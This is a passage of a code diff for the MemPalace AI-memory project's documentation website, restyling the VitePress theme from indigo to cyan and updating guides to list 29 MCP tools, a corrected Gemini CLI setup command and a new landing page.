+  --mp-cyan-vivid: #38BDF8;
+  --mp-ice: #DBE7F5;
+  --mp-body: #CDD5E0;
+  --mp-muted: #8B99B0;
+  --mp-dim: #5B6B82;
+  --mp-ok: #34D399;
+  --mp-warn: #FBBF24;
+  --mp-hot: #FF8B8B;
+  --mp-violet: #A78BFA;
 
   /* VitePress overrides */
-  --vp-c-brand-1: var(--mp-indigo);
-  --vp-c-brand-2: var(--mp-indigo-light);
-  --vp-c-brand-3: var(--mp-purple);
-  --vp-c-brand-soft: rgba(79, 70, 229, 0.14);
+  --vp-c-brand-1: var(--mp-cyan-vivid);
+  --vp-c-brand-2: var(--mp-cyan);
+  --vp-c-brand-3: var(--mp-violet);
+  --vp-c-brand-soft: rgba(56, 189, 248, 0.14);
 
-  --vp-font-family-base: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
-  --vp-font-family-mono: 'JetBrains Mono', 'Fira Code', monospace;
+  --vp-font-family-base: 'Onest', -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;
+  --vp-font-family-mono: 'JetBrains Mono', monospace;
 
   /* Home hero gradient */
   --vp-home-hero-name-color: transparent;
-  --vp-home-hero-name-background: linear-gradient(135deg, var(--mp-indigo) 0%, var(--mp-cyan) 50%, var(--mp-purple) 100%);
-  --vp-home-hero-image-background-image: linear-gradient(135deg, rgba(79, 70, 229, 0.25) 0%, rgba(6, 182, 212, 0.25) 50%, rgba(139, 92, 246, 0.15) 100%);
+  --vp-home-hero-name-background: linear-gradient(135deg, var(--mp-ice) 0%, var(--mp-cyan-vivid) 60%, var(--mp-violet) 100%);
+  --vp-home-hero-image-background-image: linear-gradient(135deg, rgba(56, 189, 248, 0.25) 0%, rgba(125, 211, 252, 0.2) 50%, rgba(167, 139, 250, 0.15) 100%);
   --vp-home-hero-image-filter: blur(56px);
 
   /* Button colors */
   --vp-button-brand-border: transparent;
-  --vp-button-brand-text: #ffffff;
-  --vp-button-brand-bg: var(--mp-indigo);
+  --vp-button-brand-text: #080C18;
+  --vp-button-brand-bg: var(--mp-cyan-vivid);
   --vp-button-brand-hover-border: transparent;
-  --vp-button-brand-hover-text: #ffffff;
-  --vp-button-brand-hover-bg: var(--mp-indigo-light);
+  --vp-button-brand-hover-text: #080C18;
+  --vp-button-brand-hover-bg: var(--mp-cyan);
 
-  --vp-button-alt-border: rgba(79, 70, 229, 0.25);
-  --vp-button-alt-text: var(--mp-indigo);
-  --vp-button-alt-bg: rgba(79, 70, 229, 0.08);
-  --vp-button-alt-hover-border: rgba(79, 70, 229, 0.4);
-  --vp-button-alt-hover-text: var(--mp-indigo-dark);
-  --vp-button-alt-hover-bg: rgba(79, 70, 229, 0.14);
+  --vp-button-alt-border: rgba(56, 189, 248, 0.25);
+  --vp-button-alt-text: var(--mp-cyan-vivid);
+  --vp-button-alt-bg: rgba(56, 189, 248, 0.08);
+  --vp-button-alt-hover-border: rgba(56, 189, 248, 0.4);
+  --vp-button-alt-hover-text: var(--mp-cyan);
+  --vp-button-alt-hover-bg: rgba(56, 189, 248, 0.14);
 }
 
 /* Dark mode overrides */
 .dark {
-  --vp-c-brand-1: var(--mp-cyan-light);
+  --vp-c-brand-1: var(--mp-cyan-vivid);
   --vp-c-brand-2: var(--mp-cyan);
-  --vp-c-brand-3: var(--mp-purple-light);
-  --vp-c-brand-soft: rgba(6, 182, 212, 0.14);
+  --vp-c-brand-3: var(--mp-violet);
+  --vp-c-brand-soft: rgba(56, 189, 248, 0.14);
 
-  --vp-button-brand-bg: var(--mp-indigo-light);
-  --vp-button-brand-hover-bg: var(--mp-indigo);
+  --vp-button-brand-bg: var(--mp-cyan-vivid);
+  --vp-button-brand-hover-bg: var(--mp-cyan);
 
-  --vp-button-alt-border: rgba(34, 211, 238, 0.25);
-  --vp-button-alt-text: var(--mp-cyan-light);
-  --vp-button-alt-bg: rgba(34, 211, 238, 0.08);
-  --vp-button-alt-hover-border: rgba(34, 211, 238, 0.4);
+  --vp-button-alt-border: rgba(56, 189, 248, 0.25);
+  --vp-button-alt-text: var(--mp-cyan-vivid);
+  --vp-button-alt-bg: rgba(56, 189, 248, 0.08);
+  --vp-button-alt-hover-border: rgba(56, 189, 248, 0.4);
   --vp-button-alt-hover-text: var(--mp-cyan);
-  --vp-button-alt-hover-bg: rgba(34, 211, 238, 0.14);
+  --vp-button-alt-hover-bg: rgba(56, 189, 248, 0.14);
 
-  --vp-home-hero-image-background-image: linear-gradient(135deg, rgba(99, 102, 241, 0.3) 0%, rgba(6, 182, 212, 0.3) 50%, rgba(139, 92, 246, 0.2) 100%);
+  --vp-home-hero-image-background-image: linear-gradient(135deg, rgba(56, 189, 248, 0.3) 0%, rgba(125, 211, 252, 0.2) 50%, rgba(167, 139, 250, 0.15) 100%);
 }
 
 /* ── Hero section ───────────────────────────────────────────────────── */
@@ -72,19 +78,22 @@
 }
 
 .VPHero .name {
-  font-weight: 700 !important;
+  font-family: 'Neue Machina', 'Satoshi', sans-serif !important;
+  font-weight: 500 !important;
+  letter-spacing: -1.5px;
 }
 
 .VPHero .text {
+  font-family: 'Satoshi', 'Onest', sans-serif;
   font-weight: 500;
-  background: linear-gradient(135deg, var(--vp-c-text-1) 0%, var(--mp-indigo-light) 100%);
+  background: linear-gradient(135deg, var(--vp-c-text-1) 0%, var(--mp-cyan-vivid) 100%);
   -webkit-background-clip: text;
   -webkit-text-fill-color: transparent;
   background-clip: text;
 }
 
 .dark .VPHero .text {
-  background: linear-gradient(135deg, var(--vp-c-text-1) 0%, var(--mp-cyan-light) 100%);
+  background: linear-gradient(135deg, var(--mp-ice) 0%, var(--mp-cyan-vivid) 100%);
   -webkit-background-clip: text;
   -webkit-text-fill-color: transparent;
   background-clip: text;
@@ -99,16 +108,17 @@
 
 .VPFeature:hover {
   transform: translateY(-4px);
-  border-color: var(--mp-indigo);
-  box-shadow: 0 12px 40px rgba(79, 70, 229, 0.12);
+  border-color: var(--mp-cyan-vivid);
+  box-shadow: 0 12px 40px rgba(56, 189, 248, 0.12);
 }
 
 .dark .VPFeature:hover {
-  border-color: var(--mp-cyan);
-  box-shadow: 0 12px 40px rgba(6, 182, 212, 0.12);
+  border-color: var(--mp-cyan-vivid);
+  box-shadow: 0 12px 40px rgba(56, 189, 248, 0.12);
 }
 
 .VPFeature .title {
+  font-family: 'Satoshi', 'Onest', sans-serif;
   font-weight: 600;
 }
 
@@ -119,12 +129,12 @@
 }
 
 .VPSidebar .VPSidebarItem.is-active .text {
-  color: var(--mp-indigo) !important;
+  color: var(--mp-cyan-vivid) !important;
   font-weight: 600;
 }
 
 .dark .VPSidebar .VPSidebarItem.is-active .text {
-  color: var(--mp-cyan-light) !important;
+  color: var(--mp-cyan-vivid) !important;
 }
 
 /* ── Code blocks ────────────────────────────────────────────────────── */
@@ -135,21 +145,21 @@
 }
 
 .dark .vp-doc div[class*='language-'] {
-  border-color: rgba(6, 182, 212, 0.15);
+  border-color: rgba(56, 189, 248, 0.15);
 }
 
 /* ── Custom containers ──────────────────────────────────────────────── */
 
 .vp-doc .custom-block.tip {
-  border-color: var(--mp-cyan);
+  border-color: var(--mp-ok);
 }
 
 .vp-doc .custom-block.warning {
-  border-color: var(--mp-amber);
+  border-color: var(--mp-warn);
 }
 
 .vp-doc .custom-block.info {
-  border-color: var(--mp-indigo);
+  border-color: var(--mp-cyan-vivid);
 }
 
 /* ── Tables ─────────────────────────────────────────────────────────── */
@@ -160,19 +170,20 @@
 }
 
 .vp-doc th {
-  background: rgba(79, 70, 229, 0.06);
+  background: rgba(56, 189, 248, 0.06);
   font-weight: 600;
 }
 
 .dark .vp-doc th {
-  background: rgba(6, 182, 212, 0.08);
+  background: rgba(56, 189, 248, 0.08);
 }
 
 /* ── Nav ────────────────────────────────────────────────────────────── */
 
 .VPNavBar .VPNavBarTitle .title {
-  font-weight: 700;
-  letter-spacing: -0.01em;
+  font-family: 'Neue Machina', 'Satoshi', sans-serif;
+  font-weight: 500;
+  letter-spacing: -0.4px;
 }
 
 /* ── Footer ─────────────────────────────────────────────────────────── */
@@ -193,11 +204,11 @@
 }
 
 ::-webkit-scrollbar-thumb:hover {
-  background: var(--mp-indigo);
+  background: var(--mp-cyan-vivid);
 }
 
 .dark ::-webkit-scrollbar-thumb:hover {
-  background: var(--mp-cyan);
+  background: var(--mp-cyan-vivid);
 }
 
 /* ── Smooth transitions ─────────────────────────────────────────────── */

website/guide/claude-code.md

@@ -15,7 +15,7 @@ Restart Claude Code, then type `/skills` to verify "mempalace" appears.
 
 With the plugin installed, Claude Code automatically:
 - Starts the MemPalace MCP server on launch
-- Has access to all 19 tools
+- Has access to all 29 tools
 - Learns the AAAK dialect and memory protocol from the `mempalace_status` response
 - Searches the palace before answering questions about past work
 

website/guide/gemini-cli.md

@@ -40,12 +40,14 @@ You can optionally create or edit:
 Register MemPalace as an MCP server:
 
 ```bash
-gemini mcp add mempalace /absolute/path/to/mempalace/.venv/bin/python3 \
-  -m mempalace.mcp_server --scope user
+gemini mcp add --scope user mempalace \
+  -- /absolute/path/to/mempalace/.venv/bin/python -m mempalace.mcp_server
 ```
 
 ::: warning
-Use the **absolute path** to the Python binary to ensure it works from any directory.
+Use the **absolute path** to the Python binary so the server starts from any
+working directory. The `--` separator prevents Gemini from parsing
+`-m mempalace.mcp_server` as its own flags.
 :::
 
 ## Enable Auto-Saving

website/guide/mcp-integration.md

@@ -1,6 +1,6 @@
 # MCP Integration
 
-MemPalace provides 19 tools through the [Model Context Protocol (MCP)](https://modelcontextprotocol.io/), giving any MCP-compatible AI full read/write access to your palace.
+MemPalace provides 29 tools through the [Model Context Protocol (MCP)](https://modelcontextprotocol.io/), giving any MCP-compatible AI full read/write access to your palace.
 
 ## Setup
 
@@ -24,7 +24,7 @@ claude mcp add mempalace -- python -m mempalace.mcp_server
 claude mcp add mempalace -- python -m mempalace.mcp_server --palace /path/to/palace
 ```
 
-Now your AI has all 19 tools available. Ask it anything:
+Now your AI has all 29 tools available. Ask it anything:
 
 > *"What did we decide about auth last month?"*
 
@@ -66,11 +66,19 @@ This protocol is what turns storage into memory — the AI knows to verify befor
 | `mempalace_check_duplicate` | Check before filing |
 | `mempalace_get_aaak_spec` | AAAK dialect reference |
 
+### Drawers (read)
+
+| Tool | What |
+|------|------|
+| `mempalace_get_drawer` | Fetch a single drawer by ID |
+| `mempalace_list_drawers` | List drawers with pagination |
+
 ### Palace (write)
 
 | Tool | What |
 |------|------|
 | `mempalace_add_drawer` | File verbatim content |
+| `mempalace_update_drawer` | Update drawer content or metadata |
 | `mempalace_delete_drawer` | Remove by ID |
 
 ### Knowledge Graph
@@ -91,6 +99,15 @@ This protocol is what turns storage into memory — the AI knows to verify befor
 | `mempalace_find_tunnels` | Find rooms bridging two wings |
 | `mempalace_graph_stats` | Graph connectivity overview |
 
+### Tunnels
+
+| Tool | What |
+|------|------|
+| `mempalace_create_tunnel` | Create an explicit cross-wing tunnel |
+| `mempalace_list_tunnels` | List all explicit tunnels |
+| `mempalace_delete_tunnel` | Delete an explicit tunnel |
+| `mempalace_follow_tunnels` | Follow tunnels out from a room |
+
 ### Agent Diary
 
 | Tool | What |
@@ -98,4 +115,12 @@ This protocol is what turns storage into memory — the AI knows to verify befor
 | `mempalace_diary_write` | Write AAAK diary entry |
 | `mempalace_diary_read` | Read recent diary entries |
 
+### System
+
+| Tool | What |
+|------|------|
+| `mempalace_hook_settings` | Get or set hook behavior |
+| `mempalace_memories_filed_away` | Check whether the last checkpoint was saved |
+| `mempalace_reconnect` | Force reconnect to the database |
+
 For detailed schemas and parameters, see [MCP Tools Reference](/reference/mcp-tools).

website/guide/openclaw.md

@@ -27,7 +27,7 @@ Or by directly editing your OpenClaw configuration:
 
 ## How It Works
 
-Once connected, OpenClaw agents receive all 19 tools along with the **Memory Protocol**—a strict behavioral guide indicating they should:
+Once connected, OpenClaw agents receive all 29 tools along with the **Memory Protocol**—a strict behavioral guide indicating they should:
 1. **Never guess**: Query `mempalace_search` or `mempalace_kg_query` before confidently answering.
 2. **Keep an agent diary**: Maintain continuity between sessions by writing to `mempalace_diary_write`.
 3. **Manage the Knowledge Graph**: Update declarative facts when things change using `mempalace_kg_add` and `mempalace_kg_invalidate`.

website/index.md

@@ -1,88 +1,6 @@
 ---
-layout: home
-
-hero:
-  name: MemPalace
-  text: Give your AI a memory.
-  tagline: "Local-first AI memory. Verbatim storage, pluggable backend, 96.6% R@5 raw on LongMemEval — zero API calls."
-  image:
-    src: /mempalace_logo.png
-    alt: MemPalace
-  actions:
-    - theme: brand
-      text: Get Started
-      link: /guide/getting-started
-    - theme: alt
-      text: Architecture →
-      link: /concepts/the-palace
-    - theme: alt
-      text: GitHub ↗
-      link: https://github.com/MemPalace/mempalace
-
-features:
-  - icon:
-      src: /icons/file-text.svg
-      alt: Verbatim Storage
-    title: Verbatim Storage
-    details: Store source text directly instead of extracting facts up front. The raw benchmark result comes from retrieving verbatim content.
-  - icon:
-      src: /icons/building-2.svg
-      alt: Palace Structure
-    title: Palace Structure
-    details: Wings and rooms give retrieval useful structure. In the project benchmarks, narrowing search scope outperformed flat search.
-  - icon:
-      src: /icons/search.svg
-      alt: Semantic Search
-    title: Semantic Search
-    details: Vector search over verbatim content lets the model retrieve past discussions by topic, project, or room. Backend is pluggable.
-  - icon:
-      src: /icons/git-merge.svg
-      alt: Knowledge Graph
-    title: Knowledge Graph
-    details: Temporal entity-relationship triples in SQLite. Facts can be added, queried, and invalidated over time.
-  - icon:
-      src: /icons/wrench.svg
-      alt: 19 MCP Tools
-    title: 19 MCP Tools
-    details: MCP tools expose search, filing, knowledge graph, graph navigation, and diary operations to compatible clients.
-  - icon:
-      src: /icons/shield-check.svg
-      alt: Zero Cloud
-    title: Zero Cloud
-    details: Core storage and retrieval run locally. Optional reranking features can add an API dependency but are not required for the benchmark path.
+layout: page
+pageClass: mempalace-home
 ---
 
-<style>
-:root {
-  --vp-home-hero-name-color: transparent;
-  --vp-home-hero-name-background: linear-gradient(
-    135deg,
-    #4f46e5 0%,
-    #06b6d4 50%,
-    #8b5cf6 100%
-  );
-}
-</style>
-
-<div style="max-width: 688px; margin: 0 auto; padding: 48px 24px 0;">
-
-## Verbatim Retrieval First
-
-MemPalace stores source text and retrieves it with semantic search. The benchmarked raw mode does not require an LLM at any stage — no extraction, no rerank, no summarisation.
-
-**LongMemEval retrieval recall (500 questions):**
-
-| Mode | R@5 | LLM required |
-|---|---|---|
-| Raw (semantic search over verbatim text) | **96.6%** | None |
-| Hybrid v4, held-out 450q | **98.4%** | None |
-
-The raw 96.6% reproduces on any machine with the committed dataset: result JSONLs, the `seed=42` train/held-out split, and the `--mode raw` / `--held-out` runners are all in the `benchmarks/` directory of the repo.
-
-We deliberately do not publish a side-by-side comparison against other memory systems on this page. Retrieval recall (R@5) and end-to-end QA accuracy are different metrics and are not comparable; where MemPalace can be fairly compared on the same metric, we link to the other project's published source.
-
-<div style="text-align: center; padding-top: 16px;">
-  <a href="./reference/benchmarks" style="color: var(--vp-c-brand-1); font-weight: 500;">Full benchmark methodology →</a>
-</div>
-
-</div>
+<Landing />

website/reference/api-reference.md

@@ -108,7 +108,7 @@ Unified 4-layer interface.
 
 | Method | Parameters | Returns | Description |
 |--------|-----------|---------|-------------|
-| `wake_up(wing=None)` | Optional wing | `str` | L0 + L1 context (~170–900 tokens) |
+| `wake_up(wing=None)` | Optional wing | `str` | L0 + L1 context (~600–900 tokens) |
 | `recall(wing, room, n_results=10)` | Filters | `str` | L2 on-demand retrieval |
 | `search(query, wing, room, n_results=5)` | Query + filters | `str` | L3 deep search |
 | `status()` | — | `dict` | All layer status info |

website/reference/cli.md

@@ -89,7 +89,7 @@ mempalace split <dir> --output-dir ~/split-output/
 
 ## `mempalace wake-up`
 
-Show L0 + L1 wake-up context (~170–900 tokens).
+Show L0 + L1 wake-up context (~600–900 tokens).
 
 ```bash
 mempalace wake-up